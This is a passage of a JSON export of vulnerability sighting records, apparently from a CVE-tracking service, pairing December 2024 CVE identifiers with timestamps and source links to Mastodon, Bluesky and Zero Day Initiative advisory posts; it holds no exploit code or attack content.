"9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12258", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113637925659841653", "content": "", "creation_timestamp": "2024-12-12T04:18:57.690518Z"}, {"uuid": "db0115cd-f639-4d64-ac41-f93cf9c446c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12461", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113637984702888114", "content": "", "creation_timestamp": "2024-12-12T04:33:58.627825Z"}, {"uuid": "795172cc-2273-4e78-961e-aa6193f0b9a4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12341", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113637984688949211", "content": "", "creation_timestamp": "2024-12-12T04:33:58.816701Z"}, {"uuid": "c2920f49-f9ca-4ded-8ae2-3a765bfabed6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12260", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113637984660456930", "content": "", "creation_timestamp": "2024-12-12T04:33:59.628021Z"}, {"uuid": "2571b0b6-a704-4e4c-b469-b0afa8b091be", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12338", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113637984674758678", "content": "", "creation_timestamp": "2024-12-12T04:33:59.728233Z"}, {"uuid": "4216009c-54c6-462c-b746-b23afb32a9c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12018", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113638312546521031", "content": "", "creation_timestamp": "2024-12-12T05:57:21.181843Z"}, {"uuid": "e8ee5260-97d8-4099-b4af-08d53eddbc1c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12040", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113638312581536551", "content": "", "creation_timestamp": "2024-12-12T05:57:21.845056Z"}, {"uuid": "531ec4bb-7377-4ca6-aebd-fa77ee012cd8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12209", "type": "confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2024/CVE-2024-12209.yaml", "content": "", "creation_timestamp": "2024-12-09T19:05:38.000000Z"}, {"uuid": "0f2c527a-b28b-44fd-b303-fd0046069d04", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12072", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113638371596006018", "content": "", "creation_timestamp": "2024-12-12T06:12:22.140128Z"}, {"uuid": "0c62aeee-0b05-46c4-b603-8d54a3e89ce9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12059", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113638371581131526", "content": "", "creation_timestamp": "2024-12-12T06:12:22.434594Z"}, {"uuid": "18e82945-1f1e-42b0-8ed1-cc42ae5a0f65", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12172", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113638371610329553", "content": "", "creation_timestamp": "2024-12-12T06:12:22.535628Z"}, {"uuid": "d1c7dd1e-e10b-4e94-bbbb-58420ec6421f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12255", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113638371624411984", "content": "", "creation_timestamp": "2024-12-12T06:12:22.827567Z"}, {"uuid": "cc0b5ab6-1983-4e50-ab6d-27b55cfbc187", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12263", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113638430631222337", "content": "", "creation_timestamp": "2024-12-12T06:27:28.452431Z"}, {"uuid": "20a613e3-e873-4150-a8db-d7db3d361206", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12265", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113638430645601613", "content": "", "creation_timestamp": "2024-12-12T06:27:28.527044Z"}, {"uuid": "3b6b120f-e5cc-4838-ac2a-a89b9aa9c925", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12201", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113638584197862849", "content": "", "creation_timestamp": "2024-12-12T07:06:26.120314Z"}, {"uuid": "1c788b81-27e5-4f0b-a52e-6073e371fd29", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12312", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113638584212194781", "content": "", "creation_timestamp": "2024-12-12T07:06:26.618197Z"}, {"uuid": "fc394d5b-e16d-4d52-85e5-a05a1076f62f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12329", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113638584226065749", "content": "", "creation_timestamp": "2024-12-12T07:06:26.721674Z"}, {"uuid": "d3a71faf-7dd5-41e6-91ba-48ee64687cc9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12564", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113638746073551647", "content": "", "creation_timestamp": "2024-12-12T07:47:36.250461Z"}, {"uuid": "ab88675b-4946-4e63-9074-6cbe7569e7e4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12160", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113638930513060838", "content": "", "creation_timestamp": "2024-12-12T08:34:31.421678Z"}, {"uuid": "a26b0cf1-2c80-433b-a886-a3374c923f64", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12333", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113638930528958493", "content": "", "creation_timestamp": "2024-12-12T08:34:31.738884Z"}, {"uuid": "ee98bb22-0506-4d4a-b6a5-b3b0d4186f7e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12397", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113639063433232775", "content": "", "creation_timestamp": "2024-12-12T09:08:18.872735Z"}, {"uuid": "3491a4a9-6ee7-4cb4-94e1-481a87ab657b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12401", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113639063448885845", "content": "", "creation_timestamp": "2024-12-12T09:08:18.988761Z"}, {"uuid": "f092f491-2cb3-486f-9f84-2bd8abc48e3a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12292", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113639628901523480", "content": "", "creation_timestamp": "2024-12-12T11:32:07.009671Z"}, {"uuid": "96eafa5f-3930-471b-b2bf-fe25bf9aa27b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12570", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113639628915684480", "content": "", "creation_timestamp": "2024-12-12T11:32:07.211650Z"}, {"uuid": "a419aab0-0b97-433c-bd7d-d5ca528bb752", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12754", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-24-1711/", "content": "", "creation_timestamp": "2024-12-19T05:00:00.000000Z"}, {"uuid": "036406c4-6fbc-429c-9578-880e5eb48fa7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12829", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-24-1717/", "content": "", "creation_timestamp": "2024-12-19T05:00:00.000000Z"}, {"uuid": "5fc64b6d-cec3-40a1-8c8a-4e8f01204734", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12727", "type": "seen", "source": "https://bsky.app/profile/dinosn.bsky.social/post/3ldpqtwo5322t", "content": "", "creation_timestamp": "2024-12-20T06:24:48.179221Z"}, {"uuid": "622c4a5e-02da-4677-9ea2-afd922de235a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12509", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldptpkbm6423", "content": "", "creation_timestamp": "2024-12-20T07:15:57.749724Z"}, {"uuid": "e84aeb4c-5903-44ca-a5dd-c09da6527968", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12677", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldqv7hruto2s", "content": "", "creation_timestamp": "2024-12-20T17:15:25.394906Z"}, {"uuid": "cb58a4c3-ee92-47a0-9d85-7fb2e1153941", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12828", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-24-1725/", "content": "", "creation_timestamp": "2024-12-20T05:00:00.000000Z"}, {"uuid": "7b77bcd0-b4ba-4e96-a417-45bd683a9d56", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12262", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldse5xqq5a2i", "content": "", "creation_timestamp": "2024-12-21T07:15:41.023764Z"}, {"uuid": "e9679257-ed5f-4f4e-a2ea-77813a4ef778", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12588", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldsku47rvf2m", "content": "", "creation_timestamp": "2024-12-21T09:15:26.140392Z"}, {"uuid": "edb6233e-348a-432c-94c7-92c7d8f3184c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12591", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldso7k43ha2i", "content": "", "creation_timestamp": "2024-12-21T10:15:30.946333Z"}, {"uuid": "c5e4148c-abf4-40cd-a76e-50ad6ba308b2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://bsky.app/profile/thedigitalempress.bsky.social/post/3ldu5nfwfw22h", "content": "", "creation_timestamp": "2024-12-22T00:24:22.806545Z"}, {"uuid": "5f9338cf-0ecd-45fc-b86f-90cc6664d2b5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12890", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldurb5rgdj2z", "content": "", "creation_timestamp": "2024-12-22T06:15:26.260729Z"}, {"uuid": "94502ef9-f995-4b3c-bae7-6fa03d5b7762", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12893", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lduxxw7mx325", "content": "", "creation_timestamp": "2024-12-22T08:15:32.498219Z"}, {"uuid": "e41f628b-e5d7-4f7a-a5f8-19a91a8f5702", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12894", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113696407969484827", "content": "", "creation_timestamp": "2024-12-22T12:11:47.083348Z"}, {"uuid": "70accd65-008e-4acd-acb5-c566dbc911c1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12895", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldvm3flrkm2k", "content": "", "creation_timestamp": "2024-12-22T14:15:24.301079Z"}, {"uuid": "93f3bdd7-6c3d-4c3e-932d-47ef13afac3b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12271", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113639929918430241", "content": "", "creation_timestamp": "2024-12-12T12:48:40.237426Z"}, {"uuid": "8667728a-09dc-4fda-98e2-39b1179e0ccf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12784", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113679881688286497", "content": "", "creation_timestamp": "2024-12-19T14:08:55.957821Z"}, {"uuid": "79d66fbd-4e89-4e0f-a4e4-07ab85445016", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12025", "type": "seen", "source": "https://infosec.exchange/users/random_robbie/statuses/113680243429065741", "content": "", "creation_timestamp": "2024-12-19T15:40:55.436125Z"}, {"uuid": "28f0e677-ea7b-447a-9676-36414bbabeb5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12200", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-24-1710/", "content": "", "creation_timestamp": "2024-12-19T05:00:00.000000Z"}, {"uuid": "28ada12a-99a2-45cf-bc26-604505438442", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12571", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldptpmvawe23", "content": "", "creation_timestamp": "2024-12-20T07:16:00.161095Z"}, {"uuid": "e9ad62eb-13a0-4ebe-8e65-878cdc5b1b36", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12727", "type": "seen", "source": "https://bsky.app/profile/hackingne.ws/post/3ldq54tigj62z", "content": "", "creation_timestamp": "2024-12-20T10:04:27.174687Z"}, {"uuid": "ad708de2-5ec7-42c5-a0f2-494ff080e293", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12841", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113686584849087068", "content": "", "creation_timestamp": "2024-12-20T18:33:37.944635Z"}, {"uuid": "2df937f8-91f0-4fc9-8cbe-4ec32e1fb9e5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12836", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-24-1724/", "content": "", "creation_timestamp": "2024-12-20T05:00:00.000000Z"}, {"uuid": "cee9a7a2-50cb-4b4e-869e-699363979a81", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12842", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113686930667150769", "content": "", "creation_timestamp": "2024-12-20T20:01:34.635411Z"}, {"uuid": "759f261d-c726-410c-9d82-b490df72f3ac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12697", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldse67bfbr25", "content": "", "creation_timestamp": "2024-12-21T07:15:48.559976Z"}, {"uuid": "0c03d3be-5c28-48d4-84a8-827a90061f3e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12289", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113642281636688529", "content": "", "creation_timestamp": "2024-12-12T22:46:44.692657Z"}, {"uuid": "e38b1e35-5fbe-4c19-ad91-23bef2a49c7c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12212", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113642778567397779", "content": "", "creation_timestamp": "2024-12-13T00:53:07.178998Z"}, {"uuid": "80100bda-536b-428b-9845-1865af66fa71", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12552", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-24-1683/", "content": "", "creation_timestamp": "2024-12-12T05:00:00.000000Z"}, {"uuid": "91093641-5669-411b-8a57-863fe9603a00", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12553", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-24-1682/", "content": "", "creation_timestamp": "2024-12-12T05:00:00.000000Z"}, {"uuid": "5d513fde-951e-4105-a4ca-e9fb40dbd71d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12603", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113643308696425579", "content": "", "creation_timestamp": "2024-12-13T03:07:56.289877Z"}, {"uuid": "2d4d3fae-40bd-4942-9ba2-2695ac482286", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12300", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113643382752999373", "content": "", "creation_timestamp": "2024-12-13T03:26:46.601095Z"}, {"uuid": "ba74dd0b-6267-43d5-bd19-8a5d234758b2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12572", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113643382767479504", "content": "", "creation_timestamp": "2024-12-13T03:26:46.997844Z"}, {"uuid": "e8247c9e-5fab-4608-a59c-ccc83cdaac60", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12574", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113643643641302838", "content": "", "creation_timestamp": "2024-12-13T04:33:07.488715Z"}, {"uuid": "984d7270-4c17-4fb5-a061-1b46ed9547ea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12579", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113643643655973759", "content": "", "creation_timestamp": "2024-12-13T04:33:07.566472Z"}, {"uuid": "408af8d4-f614-4c3b-a3d5-158477be9cac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12574", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113643656425958830", "content": "", "creation_timestamp": "2024-12-13T04:36:22.173759Z"}, {"uuid": "e8c62820-ef2a-4ebe-8f7a-90dcd1cc0d72", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12579", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113643656440491782", "content": "", "creation_timestamp": "2024-12-13T04:36:22.562229Z"}, {"uuid": "b7576802-c282-49b8-83b0-d240de2f7876", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12581", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113643879513000912", "content": "", "creation_timestamp": "2024-12-13T05:33:07.007314Z"}, {"uuid": "d9667ed7-004e-490a-b1aa-505244c651b4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12309", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113644659426186356", "content": "", "creation_timestamp": "2024-12-13T08:51:27.246683Z"}, {"uuid": "ef76e5a8-fdb9-4587-86cb-ddbf3bd20ef9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12042", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113644659412422518", "content": "", "creation_timestamp": "2024-12-13T08:51:27.312126Z"}, {"uuid": "cc30080e-2951-4eb7-8be8-875ba5eaa512", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12414", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113644659439675438", "content": "", "creation_timestamp": "2024-12-13T08:51:27.389858Z"}, {"uuid": "ea20f3e4-0489-4169-9308-3e8d097ad622", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12417", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113644718439164519", "content": "", "creation_timestamp": "2024-12-13T09:06:27.282504Z"}, {"uuid": "050e5d5a-044e-442e-9cf3-7190d1a721eb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12420", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113644718454185073", "content": "", "creation_timestamp": "2024-12-13T09:06:27.641955Z"}, {"uuid": "216e6ed4-c9be-4beb-9101-38232b306020", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12421", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113644718468337178", "content": "", "creation_timestamp": "2024-12-13T09:06:27.740561Z"}, {"uuid": "dbc7ddb4-9921-4558-bcc4-7e01d3477b2b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12465", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113644718482766295", "content": "", "creation_timestamp": "2024-12-13T09:06:28.313676Z"}, {"uuid": "8b78b2d4-698c-408f-9a5f-83b1072cd33f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12381", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113646451197341412", "content": "", "creation_timestamp": "2024-12-13T16:27:07.253911Z"}, {"uuid": "f8eb001b-c31c-49e6-8e37-92256a3c67b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12382", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113646451197341412", "content": "", "creation_timestamp": "2024-12-13T16:27:07.289034Z"}, {"uuid": "c5912cae-00d5-4d39-944a-ab2a791bf683", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12632", "type": "seen", "source": "https://infosec.exchange/users/catc0n/statuses/113647513738605389", "content": "", "creation_timestamp": "2024-12-13T20:57:20.129842Z"}, {"uuid": "8e4bf98b-c515-41b7-8767-9c6f2f4e046a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12411", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113649603132612074", "content": "", "creation_timestamp": "2024-12-14T05:48:41.884244Z"}, {"uuid": "08399acd-aebf-4b38-931d-ce664b2b68b1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12447", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113649603175317845", "content": "", "creation_timestamp": "2024-12-14T05:48:42.423399Z"}, {"uuid": "50ff5e7d-8382-470f-8a10-984ee2c913de", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12448", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113649603208423193", "content": "", "creation_timestamp": "2024-12-14T05:48:42.965099Z"}, {"uuid": "4b0961a6-82d5-4174-bbab-320c458dacfc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12458", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113649603222187923", "content": "", "creation_timestamp": "2024-12-14T05:48:43.281422Z"}, {"uuid": "fd9f827a-8ba0-4658-a382-fea10313fab1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12502", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113649662219075211", "content": "", "creation_timestamp": "2024-12-14T06:03:43.329628Z"}, {"uuid": "8ab8e939-dc7c-45b6-9b06-4a89354e759e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12517", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113649662234366778", "content": "", "creation_timestamp": "2024-12-14T06:03:43.819871Z"}, {"uuid": "6732c923-8de2-450d-ad0f-88eb18fc25bd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": 